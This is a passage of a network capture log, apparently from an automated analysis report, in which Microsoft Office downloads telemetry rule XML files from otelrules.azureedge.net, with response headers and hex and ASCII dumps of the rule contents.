2024-11-18 04:57:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-1866b5c5fbbg9tvxhC1DFWy9mg000000012g00000000hcdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:27 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045727Z-1866b5c5fbb2t6txhC1DFWa2qc00000005bg0000000070cs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:28 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045728Z-1866b5c5fbblmztchC1DFWs6v400000003w000000000a5u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:28 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4d38b348-201e-006e-4a3e-38bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045728Z-164f84587bfr8hdmhC1DFWt5nc00000003m0000000007yyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 49c589c9-b01e-003e-567a-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045728Z-164f84587bf7jb9dhC1DFWkay4000000050g0000000062nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045728Z-16547b76f7fkf5v9hC1DFW2y5s000000053g00000000m7xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045728Z-1866b5c5fbbfhwqqhC1DFW513800000004u0000000003fs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:29 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:29 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 454072ce-501e-008f-35f0-359054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045729Z-1866b5c5fbbfkdfghC1DFW4sv400000004h0000000000wvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:29 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:29 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045729Z-16547b76f7fljddfhC1DFWeqbs000000065g000000008d23 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045729Z-16547b76f7fht2hfhC1DFWbngg00000005mg00000000pk77 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045729Z-16547b76f7fsq6p7hC1DFWfx6800000003t0000000009d1f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:29 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:29 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045729Z-16547b76f7fm8pcwhC1DFWaxcc00000003e00000000083y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:29 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:30 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
